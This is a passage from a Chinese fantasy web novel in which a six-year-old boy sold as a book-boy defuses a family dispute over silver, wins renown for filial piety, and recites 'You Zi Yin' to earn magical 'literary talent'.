可一想到这钱是拿自己儿子的未来换的,想到马上就要骨肉分离,再想到这些年大伯以读书为名,从家里搜刮了多少钱财,一股执拗的犟劲从心底涌了上来。 她红着眼,一字一句地说道。 “他大伯考了这么多年,要是能考上,早就考上了!这笔钱是王管事补偿我儿的,哪怕交到家里,我们二房也有一份,哪能就这么借。” 一旁闷不作声的三婶也看不下去了,小声帮腔。 “就是,大哥每次都说快了快了,家里的底都快被掏空了。” 大伯母一听这话,像是被踩了尾巴的猫,当即就坐不住了,一屁股坐在地上,扯着嗓子就哭嚎起来。 “哎哟,我的天爷啊!这没法活了啊!” “老二家的,你安的什么心啊!你这是在诅咒我男人一辈子考不上秀才啊!你的心怎么就这么毒啊!” 整个屋子,瞬间乱成了一锅粥。 卢璘站在原地,小小的身子一动不动,一边将王管事交代的细节牢牢记在心里,一边心分二用,听明白了争吵的缘由。 贫家是非多。 区区二两银子,就能让一家人撕破脸皮,吵得天翻地覆。 卢璘也没当回事,这种吵闹习惯了。 上下嘴唇都难免有磕碰的时候,更别说一家这么多口人了。 再说他终究只是一个六岁的孩子,这种长辈间的纠纷,根本没有他说话的份。 就在这时,他听到母亲李氏发出一声撕心裂肺的哭喊。 “说是去游学,谁知道是去干什么见不得人的勾当!” “交的都是些什么狐朋狗友,在外面惹了什么祸都不知道!” “我家男人老实本分,一辈子没得罪过人,为什么平白无故去了一趟县里,就被人打断了腿!我到哪说理去啊!” 大伯一听,连忙开口解释:“弟妹,这话你可不能乱说,二弟腿被人打断,和我有什么关系?” 大堂里的卢璘,敏锐地捕捉到大伯声音里的慌乱。 父亲的腿,不是意外摔断的? 而是被人打断的? 而且,还跟大伯的游学有关? 卢璘的心猛地一沉。 再也无法保持沉默,当即转过身,小小的身子对着王管事深深一躬。 “王伯伯,抱歉,家里出了点事,请容我先去处理一下。” 王管事正听得津津有味,闻言不由得一愣。 处理家事? 他饶有兴致地看着眼前这个小人儿,一个六岁的稚童,能处理什么家事? 但看到卢璘眼里透着的坚定,王管事非但没有不快,反而生出了几分看好戏的兴致,摆了摆手。 ......... 第7章 卢璘献策 卢璘没有着急过去,向大门外玩牛粪的卢观喊了一句。 “观哥哥,大伯有事找你。” 卢观不耐烦地起身,一路小跑,正准备跑去侧堂,被卢璘一把拉住。 “观哥哥不用过去,刚才大伯说还有些事不清楚,让你去把李三叔再喊来一次,晚上鸡蛋多给你一半。” 卢观原本闷闷不乐的脸色,听到鸡蛋后马上点头,随后撒腿就跑,一溜烟似地跑出了院子。 李三叔正是刚才给卢璘作保的乡邻,在下河村素有名望。 王管事有些疑惑,契约的事已了,还有什么不清楚的? 而且刚才卢璘全程在自己身旁,也没听到卢安交代过。 王管事没有开口,还挺好奇卢璘的打的什么主意。 六岁的孩子,能有什么办法? 卢璘要的就是这个效果。 在王管事面前,他必须表现出远超同龄人的聪慧与担当。 一个早慧的神童,才有可能打破六岁稚童的身份桎梏,为自己争取到更多的关注与资源。 更重要的是,他要展现出孝这一点。 大夏王朝以孝治天下。 孝,是这个时代最核心的道德准绳,是上层社会最看重的品质。 一个以孝闻名的神童,未来的路,无疑会好走许多。 今天这场家庭纷争,既是危机,也是他为自己立人设的绝佳舞台。 ......... 卢璘迈着小短腿,穿过乱糟糟的人群,径直走到母亲李氏身前。 他没有说话,只是伸出稚嫩的小手,轻轻拍了拍母亲因为抽泣而不断抖动的后背。 李氏身子一僵,低头看到儿子那双清澈沉静的眼睛,有些不解。 卢璘没有多做解释,转身面对着坐在上手,脸色铁青的卢老爷子。 没有丝毫孩童的怯懦,整理了一下身上满是补丁的衣衫,双膝跪地,恭恭敬敬地磕了一个头。 “祖父。” 清脆的童音,让整个嘈杂的屋子瞬间安静了下来。 所有人的目光,都聚焦在这个小小的身影上。 卢老爷子看着跪在地上,身板挺得笔直的孙儿,心头五味杂陈,那股子烦闷被这声清亮的祖父冲淡了不少。 “璘儿,你起来说话。” “孙儿有几句话,不知当讲不当讲。” 卢璘没有起身,依旧保持着跪姿,声音不大,却字字清晰。 卢老爷子看着孙儿这般镇定大方的模样,再想到他即将离家,心头一软。 “你说。” “大伯为考取功名,要外出游学,这是为了咱们卢家光耀门楣,是天大的好事。” “若家中真能出一位秀才老爷,别说二两银子,就是二十两,二百两,都值得。” 这话一出,原本还剑拔弩张的大伯卢安和大伯母,脸上顿时露出了喜色。 大伯母甚至停止了干号,偷偷拿眼角瞥向李氏,眼神里满是得意。 卢老爷子紧绷的眉头也舒展开来,浑浊的眼中流露出欣慰。 好孙儿啊,明事理,知大体。 可惜了,这么好的苗子,就要送到别人家了。 门外,一直竖着耳朵听的王管事,脸上没什么表情。 这孩子虽然明事理,但性子终究还是软了些,被长辈一压,就只会顺从。 李氏闻言愣住了,急得刚想开口反驳,却见卢璘对她轻轻摇了摇头。 只听卢璘的声音再度响起,话锋却陡然一转。 “但我娘亲想要留下这笔银子,同样也是为了这个家。” “爹爹断了腿,家里不仅少了一个壮劳力,往后抓药治伤,处处都要花钱。” “家中积蓄本就不多,留下这二两银子,也是为了以备不测,让一家人能安稳度日。” “娘亲的心,也是为了这个家好。” 卢璘的声音依旧平静,没有偏袒任何一方,只是将双方的道理都摆在了明面上。 大伯为了家族的未来,母亲为了家族的现在。 谁都没错。 可钱,只有一份。 卢璘抬起头,目光清澈地看向卢老爷子,最后给出了自己的方案。 “不如这样。” “刚才为我画押作保的李三叔,最是公道,在村里也素有贤名。” “咱们就请李三叔做个见证人。” “这二两银子,就先由李三叔代为保管。” “若大伯当真要去县里游学,听恩师讲学,那便辛苦李三叔陪着大伯走一趟,当面将银子交给大伯的同窗或是恩师,也免得路上遗失。” “若大伯……因故不去,那这笔钱,便由李三叔交还给我娘亲,给爹爹治腿,也算解了家里的燃眉之急。” “如此,既不耽误大伯上进,也能让我娘安心,不知祖父以为如何?” .............. 此话一出,满室的嘈杂戛然而止。 针落可闻。 李氏呆呆地看着跪在身前的儿子。 那小小的背影,此刻竟显得无比挺拔。 同时也十分陌生。 这是她那个只会跟在自己身后要糖吃,只会因为一块桂花糕就乐半天的儿子吗? 那一番话,条理清晰,不偏不倚,既给了长辈脸面,又守住了自己的底线,哪里像是一个六岁稚童能说出来的? 一直低着头的父亲卢厚,此刻也猛地抬起头,失血的嘴唇微微张开,看着儿子的目光里,充满了震撼。 坐在上手的卢老爷子,拿着旱烟的手微微一颤,烟灰掉落在满是补丁的衣襟上,他却浑然不觉。 他浑浊的双眼死死盯着跪在地上的孙儿。 这法子,好。 实在是太好了。 既保全了大房读书人的体面,又安抚了二房的委屈,谁也挑不出半点错处。 可也正是因为太好了,卢老爷子的心被揪得生疼,疼得他喘不过气。 如此聪慧,如此明理的孙儿。 这是能光耀门楣的麒麟儿啊! 可就在刚才,他亲手在这份麒麟儿的卖身契上,按下了手印。 五两银子。 他就为了区区五两银子,把自家最大的希望给卖了出去。 悔,悔不当初啊! 卢老爷恨不得一烟枪敲在大儿子头上,非得这么着急把孙儿卖出去。 可契约已定,银货两讫,当着柳家管事的面,一切都已成定局。 一直站在门外看戏的王管事,原本带笑的嘴角,不知何时已经收敛了起来。 他靠着门框,精明的双眼微微眯起。 本以为这只是个寻常农户家的内斗,看个热闹。 可这孩子的一番话,却让他品出了完全不同的味道。 这哪里是六岁稚童的言语。 这分明是滴水不漏的阳谋。 第8章 孝子卢璘 先捧高大伯,承认他为家族前途着想的大义。 再肯定母亲,点出她为家庭安稳的苦心,争取同情。 最后抛出一个谁也无法拒绝的公道方案。 哪怕他大伯真有什么坏心思,也碍于名声不敢乱来。 整个过程,不卑不亢,有理有据。 王管事这才反应过来卢璘让人去请回保人的原因,仅凭在正堂里听得的只言片语,这么短的时间内就想好了对策。 这是何等的聪慧? 王管事的心脏不受控制地猛跳了几下。 贫家出贵子。 王管事心里反复咀嚼着这五个字,只觉得这次真是捡到天大的宝贝了。 一个模样俊俏的书童,主家看了欢喜。 一个聪慧伶俐的书童,能替少爷分忧。 可一个心思缜密,小小年纪就有这种心智的书童,这已经不是普通的助力了。 这是能当少爷半个老师的良伴啊! 一想到自家那位让整个柳府都头疼的少爷,王管事就觉得太阳穴突突直跳。 要是自家少爷,能有这孩子一半的懂事省心,老爷做梦都能笑醒。 这等心性,这等谈吐,若是能陪在少爷身边,耳濡目染之下,不说脱胎换骨,起码也能收敛几分顽劣吧。 五两银子。 不,别说五两。 就是十两,二十两,能请回这么一个书童,那也是天大的造化。 ..... 大伯的脸色,瞬间涨成了猪肝色。 “胡闹!” “李三叔整日为村里事务操劳,哪有这个闲工夫陪我去县里!” 大伯念头一转,知道这事还得爹拿主意,深吸一口气,不再理会跪在地上的卢璘。 “爹!儿子知道您心疼二弟,心疼璘儿。” “可这次县里讲学的机会,千载难逢啊!” “错过了这次,下次县试,儿子……儿子就真没把握了!” 没把握三个字咬得极重。 好像整个卢家的希望,都压在他这个读了快二十年书的长子身上。 就在屋里气氛再次紧绷时,院门口传来一阵脚步声。 “爷,李三叔来了!” 一道清脆童音打破了僵局,卢观身后跟着一个身板硬朗,面色黝黑的老者,正是刚才的保人李三叔。 李三叔一脚踏进门,就感觉屋里的气氛不对劲,眉头微微一皱。 大伯的脸色瞬间变得比锅底还黑。 一双眼睛恶狠狠地盯着卢观,把卢观给吓坏了。 他缩着头,靠在门口,一脸的委屈。 不是你自己让我去喊人吗? 晚上鸡蛋还有没有啊? 卢璘仿佛没看到大伯难看的脸色,从地上爬起来,小跑到李三叔面前,恭恭敬敬地又行了一礼。 “李三爷爷。” 他将刚才那番条理清晰的话,当着所有人的面,又复述了一遍。 “我娘是个妇道人家,心里只有家里的柴米油盐,怕我爹的腿伤没钱治,这才跟大伯起了争执。” “大伯又是为了咱们卢家光耀门楣的大事,谁都没错。” “所以孙儿才想请李三爷爷您来做个公道,这银子放在您那里,我们全家都放心。” 这番话,看似是把保管银子的麻烦事推给了李三叔。 可实际上,却是在众目睽睽之下,把主持公道,彰显名望的机会,亲手送到了他的面前。 李三叔是什么人,在村里活了大半辈子,人情世故看得比谁都透。 哪能不知道这是好事啊! “好!” “璘娃子说得在理!这事,我管了!” 大伯一听这话,腿肚子一软,差点没站稳。 “爹!” 大伯只能把最后的希望,投向一直沉默不语的卢老爷子。 卢老爷子吧嗒着旱烟,长长地吐出一口浑浊的烟气。 他看了一眼满脸慌乱的长子,又看了一眼跪在地上、不卑不亢的孙儿。 最后,他手里的旱烟锅,在桌腿上重重地磕了磕,发出咚的一声闷响。 一锤定音。 “就按璘儿的法子来。” 李三叔闻言心里忍不住摇头叹息。 之前还以为卢璘那番话是提前教好的。 万万没想到,这么一个滴水不漏,两头都不得罪的法子,居然是出自一个六岁稚童之口。 可惜了。 真是可惜了。 卢家这是捡了芝麻,丢了西瓜,为了五两银子,竟把这么聪慧一个孙子给卖了。 ........... 王管事看到这里,已经基本上明白了卢璘的想法了。 心里忍不住暗自摇头。 这哪里是早慧。 书上说的那些神童,怕也不过如此了。 连李三叔爱惜名声都被他考虑到了,一定会接下这个烫手山芋。 这种玲珑心窍,难道真是天生的读书种子? 还没等王管事的惊叹平复下去。 他又看见了更让他心头剧震的一幕。 只见卢璘转过身,对着李氏和卢厚,双膝一软,竟是又一次跪了下去。 他小小的身子伏在地上,对着断了腿的父亲卢厚,恭恭敬敬地磕了一个响头。 “爹,孩儿不孝。” “不能在您病榻前侍奉汤药,反而累您为孩儿的去处操碎了心,更让您蒙受卖子之名。” “这是孩儿的罪过。” 此言一出,满堂皆静。 一直沉默隐忍,仿佛失了魂的卢厚,身体猛地一颤,随后泪水夺眶而出。 他想伸手去扶儿子,可断腿的剧痛让他动弹不得,只能发出一声呜咽,布满老茧的手死死攥住了身下的木凳。 李氏更是呆住了,眼泪还挂在脸上,却忘了去擦。 紧接着,卢璘又转向李氏,小小的身子挪了挪,再次端端正正地跪好。 “娘,孩儿此去柳家,必定勤学苦读,不敢有丝毫懈怠。” “不为那荣华富贵,只为早日学成本事,将您和爹爹接到身边,弥补今日骨肉分离之痛。” “请娘亲务必保重身体,切莫再为孩儿伤心落泪。” “否则,孩儿在柳府,必定食不下咽,寝不安席。” 说完,他将小小的额头,重重地贴在了冰凉的泥地上。 一个完整的五体投地大礼。 伏在地上的卢璘此刻有种卸下负担的松快,前身的记忆至此完全融合,不分彼此。 这一跪,并没有掺杂表演的心思,而是真真切切的感念父母之恩。 卢璘趴在地上长跪不起,也跪碎了李氏心中最后一道防线。 她再也忍不住,发出一声撕心裂肺的哭喊,扑上前去,一把将儿子紧紧搂在怀里。 “我的儿啊!” 不仅是因为分离的悲伤,而是被儿子这番孝心,震得肝肠寸断。 一旁的卢老爷子,手里的旱烟杆啪嗒一声掉在地上,却浑然不觉。 只是怔怔地看着那对相拥而泣的母子,浑浊的老眼里,第一次流露出了悔恨。 一直看热闹的李三叔,此刻也是倒吸一口凉气,忍不住连连摇头。 “孝子,真是孝子啊!” “老卢家这是祖坟冒了多高的青烟,才生出这么一个孝子贤孙!” “是啊,小小年纪,就如此明理,如此孝顺,将来必成大器!” 院子里的乡邻们,再也无法保持沉默,纷纷开口赞叹。 一句句孝子,一声声了不得此起彼伏。 王管事深吸一口气,从门框上站直了身体。 他看着被母亲紧紧抱在怀里的卢璘,表情郑重。 第9章 名声发酵 闹剧结束不久,王管事最终还是走了。 走的时候,嘴角都快压不住了,浑身上下都透着松快。 还特意叮嘱卢璘,三天后会专程跑一趟来接卢璘上门。 李三叔和几个乡邻也相继告辞,院子里很快就恢复了往日的冷清。 卢老爷一言不发,吧嗒吧嗒地抽着旱烟,只是时不时看向卢璘的眼神满是惋惜。 李氏紧紧抱着卢璘,一刻也不舍得松开。 .............. 下河村不大。 鸡毛蒜皮的小事,不出半个时辰就能传遍全村。 更何况是卢家卖孙儿,还闹出这么大动静的稀罕事。 李三叔背着手走在村里的土路上,身后跟着几个刚才一同去做保的乡邻。 灼热的日头晒得人汗流浃背。 一个乡邻抹了把汗,忍不住先开了口。 “这老卢家,真是走了眼了。” “是啊,谁能想到,老二家那个闷葫芦,能生出这么一个伶俐的娃。” “你们是没瞧见,那娃子跪在地上,一字一句,说得那个条理,比县里说书先生还清楚。” “哪里是六岁娃儿,我看啊,就是天上的文曲星下凡,投错了胎。” 李三叔听着身后的议论,脚步骤然一顿。 他回过头,看着几个乡邻,摇了摇头。 “投错胎?” “我看不是投错了胎,是这卢家,没这个福气接住这泼天的富贵。”李三叔重重地叹了口气,摇了摇头。 “你们是没听见那娃子最后说的话,那叫一个孝啊,听得我这把老骨头都发酸。” “为了他爹的腿,为了他娘不伤心,硬是想出那么个两全的法子,把自个儿给卖了。” “五两银子,就为了区区五两银子,把这么一个神童孝子给推出去了。” 李三叔说到最后,声音里满是惋惜。 …… 午后的阳光懒洋洋地洒在村东头的大槐树下。 几个妇人坐着小马扎,手里纳着鞋底,一边飞针走线,一边东家长西家短地唠着嗑。 一群光屁股的男娃在树下追逐打闹,扬起一片尘土。 “听说了吗?卢家老二那个儿子,卖给县里柳家当书童了。” “咋没听说,我家那口子去看热闹了,回来跟我学了一嘴。” 一个嘴唇很薄的妇人停下手里的活计,神秘兮兮地凑了过来。 “你们是不知道,那卢家的大伯,想把卖璘儿多出来那二两银子给昧下,说是要去游学。” “真的假的?” “这还有假?被璘儿那娃子当场就给戳穿了,请了李三叔做公道,那场面,啧啧。” “哎哟,这老大一家也太不是东西了,拿侄儿的卖身钱去逍遥快活?” “谁说不是呢,要我说,这卢家真正能读出来个名堂的,就是那被卖掉的璘儿。” “可不是嘛,听说那孩子才六岁,说话办事跟个小大人似的,把柳家来的管事哄得一愣一愣的,当场就多加了二两银子。” “这叫什么?这就叫有眼不识金镶玉,把个宝贝疙瘩当石头给扔了。” 一阵哄笑声响起。 恰在此时,卢璘三叔正摇摇晃晃地从不远处走来。 树下的妇人们一看到他,笑声戛然而止,但那眼神里的指指点点和窃窃私语却更加放肆了。 三叔一下就感觉到众人异样的目光。 他虽然性子放荡,不务正业,但脸皮还没厚到任人指戳的地步。 “看什么看?没见过俊俏后生啊!”三叔梗着脖子骂了一句。 一个平日里就跟他不对付的妇人当即阴阳怪气地开了口。 “哟,这不是卢家的三叔嘛。” “你们家可真是出了个大名人啊,六岁的孝子神童,说卖就卖了,真有魄力。” “可不是嘛,放着家里的读书种子不要,非要把钱给那个读了二十年书都还是个童生的大伯,你们卢家的算盘,我们这些妇道人家可真是看不懂。” “哈哈哈哈……” 三叔的脸瞬间涨成了猪肝色,一股邪火直冲天灵盖。 “放你娘的狗屁!” 三叔气得浑身发抖,指着那几个妇人破口大骂。 可妇人们人多势众,哪里会怕他一个游手好闲的二流子。 你一言我一语,句句都戳在卢家人的脊梁骨上。 说他们家有眼无珠。 说他们为了五两银子就逼得侄儿卖身。 说老大卢安就是个只会花钱的废物。 三叔双拳紧握,气得眼冒金星,却一句话也反驳不出来。 更没脸再待下去,拨开人群,几乎是落荒而逃。 ........... 王管事回到柳府时,已是日头西斜。 朱漆大门前的两尊石狮子,在夕阳的余晖下被镀上了一层暗金色,威严又肃穆。 门楣上悬着一块黑底金字的匾额,上书“柳府”二字,笔锋苍劲,一看便知是出自名家之手。 他刚从马车上下来,一道纤细的人影就急匆匆地从侧门迎了出来。 是夫人林氏的贴身婢女,墨香。 “王管事,你可算回来了!” “怎么耽搁了这么久,大小姐的新话本买到了没有?”墨香语气略显急促,额角还沁着细密的汗珠。 “再没有新话本,府上真要闹翻天了,这几天老爷夫人瞧见大小姐都绕着道走。” 王管事闻言,指了指马车里一个半人高的大包裹。 “买到了。” “市面上能寻到的,我都给买全了,够大小姐看上一阵子了。” 他这一趟出门,一方面考察书童的背景,同时也背着帮大小姐寻摸话本的差使。 可县里大大小小的书铺里的话本,都快被大小姐给看完了。 下一次再想找,可没那么容易了。 墨香闻言,却只是撇了撇嘴。 “得了吧。” “每次都说够看一阵子,王管事你又不是不知道,我家大小姐看书那都是一目十行,这堆书啊,最多也就撑上两三个月。” 王管事一想到大小姐那恐怖的看书速度,也只能无奈地摇头。 那确实不是寻常人能比的。 “你先把这些话本拿去给大小姐。” “我得去见老爷夫人,汇报情况。” 墨香应了一声,招呼了两个小厮把书搬走,自己则提着裙摆,一路小跑着跟了上去。 第10章 柳家 王管事穿过抄手游廊,绕过假山水榭。 柳府的庭院布局精巧,处处透着书香世家的雅致与底蕴。 还未走近老爷夫人所在的清心园,一阵孩童尖锐的哭闹声就先传了过来。 王管事脚步一顿,整理了一下表情,才迈步走了进去。 走进园子,只见七岁的柳家少爷柳权正躺在地上撒泼打滚,一边哭一边踢着腿。 “我不管!我就要婢女!我也要一个贴身婢女!” 一旁的美妇人柳府主母林氏,正蹲下身子,耐着性子安抚。 “权儿乖,你一个小孩子家,要婢女做什么,等你到了年岁,娘自然会给你配上。” 柳权从地上一骨碌爬起来,叉着腰,小脸上满是倔强。 “我不管!我也要婢女带去小房间,听她唱曲儿!” 林氏的脸上露出一丝疑惑。 “唱什么曲儿?” 柳权见母亲不信,当即清了清嗓子,挺起小胸膛,自信满满地学着唱了起来。 “啊……嗯……啊……啊啊……” 那声音娇媚婉转,虽然出自一个七岁孩童之口,却惟妙惟肖,听得人脸红心跳。 园子里的空气瞬间凝固。 林氏的脸色由白转青,又由青转红。 坐在石桌旁悠闲品茶的柳老爷,手里的茶碗一抖,滚烫的茶水洒了一手,他却浑然不觉,只是大气都不敢喘一口。 林氏猛地站起身,狠狠地瞪了柳老爷一眼。 下一刻,她随手抄起旁边花瓶里插着的一根鸡毛掸子,一把将柳权揪了过来。 “我让你唱曲儿!我让你学唱曲儿!” “老娘今天不打死你这个小兔崽子!” 柳权杀猪般的嚎叫声,瞬间响彻了整个清心园。 柳老爷缩着脖子,身子微微发抖,却连个屁都不敢放,眼神飘忽,一副神游天外的模样。 王管事站在原地,看着眼前这鸡飞狗跳的一幕,脑海里,不由自主地浮现出卢璘的身影。 那个跪在地上,不卑不亢,条理清晰,几句话就平息了一场家庭纷争的六岁孩童。 再看看眼前这个被揍的鬼哭狼嚎的小少爷。 王管事深吸一口气,只觉得那五两银子,花得实在是太值了。 .......... 一顿鸡飞狗跳的闹剧过后,林氏手里的鸡毛掸子已经断成了两截。 她胸口剧烈起伏,指着墙角瑟瑟发抖的柳老爷,气得说不出话。 最后,只从牙缝里挤出一句。 “上梁不正下梁歪。” “你那些圣贤书,都读到狗肚子里去了!” 柳老爷不敢反驳,任由夫人的唾沫星子喷在脸上,甚至还讨好地凑上前去。 “夫人莫气,莫气。” “气坏了身子,我可是要心疼的。” “我听说了,府城新开的锦绣坊出了一款云锦裁的成衣,最衬夫人的气质,我已经差人快马加鞭去买了。” 林氏冷哼一声,脸色稍霁。 她这才将目光投向一旁站了许久,眼观鼻、鼻观心的王管事。 “老王,什么事?” 一声老王,透着旁人没有的亲近。 王管事是她从娘家带来的人,是真正的心腹。 “夫人,书童的事已经有着落了。” 王管事躬身回话,语气平稳。 他从袖中取出一份名册,一笔带过地汇报。 “此次共考察书童十名,皆是清河县左近的良家子。” “大王庄的赵二牛,身子壮实,但有些木讷。” “小李村的孙猴子,人是机灵,可眼神油滑了些。” “……” 他一连报了几个村庄和孩童的名字,最后才定格在名册的末尾。 “下河村,卢璘。” …… 晚饭时分,清心园的饭桌上,却少了一个人。 林氏看着那个空着的位置,秀眉微蹙。 “大小姐呢?” 一旁的墨香连忙上前,小声回道。 “夫人,王管事带了新话本回来,大小姐正看呢。” 林氏闻言,脸上的不快化为一丝无奈的宠溺,挥了挥手。 “罢了,随她去吧。” “墨香,你送一份吃食过去,别让她饿着了。” 墨香应了一声,麻利地将几样精致的菜肴拨入食盒,端着往大小姐的院子走去。 她推开大小姐闺房的门,一股淡淡的书墨香气扑面而来。 房间里,除了床和桌椅,最多的便是书。 从墙角的书架,到窗台的矮几,甚至连床边的脚踏上,都堆满了高低错落的书册。 一个十岁的小姑娘正趴在书桌上,看得入神。 她梳着双丫髻,一身淡绿色的襦裙,虽然还未完全长开,但那精致的五官,已然能看出日后倾国倾城的模子。 偶尔看得有趣,嘴角翘起,会露出一对可爱的小虎牙。 “大小姐,该用饭了。” 墨香将食盒里的饭菜一一摆在桌上。 柳家大小姐柳清月头也不抬,只是轻轻嗯了一声,眼睛依旧黏在话本上。 墨香见怪不怪,一边收拾着桌上的空茶杯,一边聊起了刚才在饭桌上听到的趣事。 “小姐,你猜王管事这次出去,碰上什么奇事了?” 少女依旧没抬头。 墨香自顾自地说了下去。 “王管事这次给少爷挑书童,可真是开了眼了。” “有流着鼻涕泡的,还有满嘴跑火车的。” “不过啊,最后还真让他捡着个大宝贝。” “五两银子,买回来一个货真价实的小神童呢。” 神童? 这两个字,终于让少女的目光从书页上挪开了一瞬。 墨香一看有戏,立刻来了精神,绘声绘色地讲了起来。 “可不是嘛!” “一个叫卢璘的小娃娃,才六岁,家里穷得叮当响,他爹还断了腿,他爷奶就要把他卖了换钱。” “结果他那个大伯,不是个东西,还想昧下多出来的二两银子。” “您猜怎么着?” 墨香故意卖了个关子。 “那小人儿,当着所有人的面,不哭不闹,先是把他大伯捧得高高的,说他是为了家族前途,又说他娘是为了家里生计,谁都没错。” “最后想了个主意,请村里有威望的长辈来管着那笔钱,他大伯要是真去读书,就把钱给先生,要是不去,钱就给他爹治腿。” “几句话,说得滴水不漏,把他那个想贪钱的大伯,脸都给憋绿了。” “最后还给他爹娘磕头,说自己不孝,不能侍奉跟前,还让他们蒙受卖儿子的名声,把在场的人都给说哭了。” 柳清月静静地听着,手里的那本话本,不知何时已经悄然合上。 第11章 再创经典,《游子吟》,级别达府! 三日之期,转瞬即至。 卢家那扇破旧的院门外,黑压压地围了一圈人。 下河村但凡能走得动的,几乎都来了,伸长了脖子,等着看热闹。 日头悬在头顶,将尘土飞扬的土路烤得滚烫。 村民们的议论声混杂在蝉鸣里,嗡嗡作响。 三天前那场闹剧,早就在这小小的村子里传了千百遍,版本各异,但大体上不变。 卢家那个六岁的二房小子,是个早慧的神童孝子。 不久,村口传来一阵车轮滚滚的闷响。 人群自动向两边分开,让出一条道来。 三辆马车掀起烟尘,朝卢家小院方向驶来。 为首的那辆,通体由乌木打造,车厢宽大,四角挂着流苏铜铃,拉车的是两匹油光水滑的黑马,光是看着就透着一股寻常人家没有的富贵气。 紧随其后的两辆马车虽略显普通,却也比村长家过年用的牛车气派了不知多少倍。 马车在卢家门前稳稳停下。 为首那辆马车的车帘被掀开,王管事一身崭新的藏青色直裰,从车上从容不迫地走了下来。 身后还跟着一个背着药箱,山羊胡,面容清癯的老者。 王管事目光一扫,便落在了院门口那个小小的身影上。 卢璘安静地站在那里。 他身旁的母亲李氏,双眼红肿,紧紧攥着他的小手。 父亲卢厚则拄着一根粗陋的木杖,靠在门框上。 李氏拉着卢璘,嘴里还在一遍遍地叮嘱着。 “到了柳府,要听话,主家让你做什么,你就做什么。” “别跟人犟,手脚勤快点,少说话,多做事。” “饭要吃饱,天冷了自己记得添衣裳,别冻着了……” 翻来覆去,都是些最朴素的生存之道。 卢璘没有丝毫的不耐烦,只是仰着小脸,认认真真地听着,时不时地点点头。 李氏看着儿子这般乖巧的模样,心如刀绞,眼泪刚止住,又忍不住要往下掉。 她看到王管事领着人走近,那蓄了满眶的泪水,终于再也绷不住,决堤而下。 王管事没有立刻催促,只是静静地站在一旁,等这对母子把话说完。 直到李氏的哭声渐渐变成了抽噎,他才迈步上前,对着卢璘和卢厚夫妇微微躬身。 “主母听闻卢璘小官人的孝心,深为感动。” “特意命我请了县里回春堂的坐堂大夫,来为卢厚兄弟诊治腿伤,一切用度,皆由柳家承担。” 此言一出,不止是卢厚夫妇,连周围看热闹的乡邻都倒吸一口凉气。 “早就听说柳家是良善之家,果然不一样。” “卢老二真是命好啊,生了个这样的儿子。” ....... 卢璘转过身,对着王管事,深深地鞠了一躬,声音清脆,发自肺腑。 “谢主母恩典,谢王伯伯。” 李氏和卢厚也反应过来,脸上满是难以置信的激动与感激,挣扎着就要下跪。 “使不得,使不得!” 王管事连忙伸手扶住,同时挥了挥手,身后一个家丁立刻捧着一个包裹上前。 “这也是主母的意思。” “小官人此去府上,代表的也是柳家的脸面,主母特意让人裁了身新衣裳,还请小官人换上。” 包裹打开,一袭天青色的细棉长衫展现在众人面前,料子光滑,做工精致,一看就价值不菲。 然而,卢璘却轻轻摇了摇头。 他退后一步,再次对着王管事行了一礼。 “回王伯伯,主母厚爱,卢璘心领。” “只是,父母在,孩儿不敢忘本。” “娘亲为我缝制的衣裳,针针线线,皆是慈母之恩。孩儿今日离家,当着父母之面,不敢换下这身衣裳,以免忘了生养之恩。” 声音稚嫩,却让在场所有人都愣住了。 那些乡邻们看着卢璘身上那件洗得发白、满是补丁的旧衣。 再看看家丁手上那件崭新的华服,一时间,竟觉得那件破旧的衣裳,比任何绫罗绸缎都要耀眼。 与此同时,三辆马车中,最大最华贵的那一辆。 厚重的车帘被一只纤细如玉的手指,悄无声息地掀开了一道缝隙。 就在这一刻,卢璘突然福至心灵。 一首诗,毫无征兆地从记忆深处浮现。 他缓缓转过身,不再去看王管事,也不再理会周遭的目光。 他只看着自己的母亲李氏。 看着她红肿的眼眶,看着她紧咬的嘴唇,看着她那双为自己缝补衣裳而布满针眼的手。 卢璘对着李氏,深深地鞠了一躬。 而后,他清亮又带着一丝哽咽的童音,当着所有人的面,缓缓吟诵。 “慈母手中线,游子身上衣。” 李氏的哭声一顿,茫然地看着躬身不起的儿子。 卢璘没有停。 “临行密密缝,意恐迟迟归。” 王管事精明的双眼中,第一次露出了骇然之色。 他懂诗,他自然听得出这平实字句下,那份真挚情感。 周围的抽泣声,开始此起彼伏。 卢璘缓缓直起身,目光清澈,直视着泪眼婆娑的母亲。 “谁言寸草心,报得三春晖。” 嗡。 诗句落下的瞬间,一股难以言喻的玄妙气息,以卢璘为中心,骤然向四周扩散开来。 那些大字不识一个的乡邻,虽然听不懂什么平仄格律,却无一例外地感觉到一股暖意包裹了全身。 嗡。 卢璘的脑海中,那卷古朴的竹简再次轰然展开。 金色的字迹,以前所未有的速度浮现,光芒比之前任何一次都要璀璨。 【自创经典:《游子吟》(级别:达府)特效:文位达举人后显示。】 【此诗一出,拳拳赤子之心,感天动地,其意可覆盖一府之地,凡有孝心者,皆有共鸣。】 【奖励才气:一千缕。】 轰。 卢璘的脑海中,仿佛有惊雷炸响。 一股比之前庞大十倍的才气洪流,从天而降,瞬间涌入他的四肢百骸。 “我的天爷啊!” 一个老妇人再也站不住,一屁股坐在地上,嚎啕大哭。 “这娃子……这娃子是天上的文曲星下凡啊!” “我……我一个字都听不懂,可我这心里头,咋就堵得这么慌啊!” “神童!这是真正的神童!” 惊呼声,赞叹声,哭泣声,混杂在一起,彻底引爆了卢家小院。 李氏再也撑不住,双腿一软,跪倒在地,一把将卢璘死死搂在怀里,哭得肝肠寸断。 靠在门框上的卢厚,布满老茧的双手死死抠着门框,滚烫的泪水无声而下。 卢老爷子像是被抽走了全身的力气,手里的旱烟杆啪嗒一声掉在地上。 悔啊! 他后悔的肠子都青了! 院子里,唯独大伯呆立在原地,像一尊泥塑的雕像。 他傻眼了。 他看着被众人环绕,被当成神仙下凡的侄儿,脑子里一片空白。 怎么可能? 这怎么可能? 一个六岁的奶娃子,怎么可能作出这种诗? 自创经典? 达府? 他读了快二十年书,连篇像样的“出县”文章都没写出来过,他这个六岁的侄儿,竟然当众作出了一首“达府”级别的诗? 其他乡人不是读书人,能感受到诗里的心意。 但大伯身为读书人,怎么会不知道这首作品的级别? 这首诗刚一出,文道规则就已经把这首诗烙印在临安府一府之地的所有读书人的脑海里。 一股荒谬绝伦的感觉涌上心头。 他猛地一拍大腿,像是想到了什么,高声喊道。 “我想起来了!” “定然是!定然是我平日在家中温书,时常引经据典,璘儿耳濡目染,这才有了今日的福至心灵!” 他把所有的功劳,都毫不犹豫地揽在了自己身上。 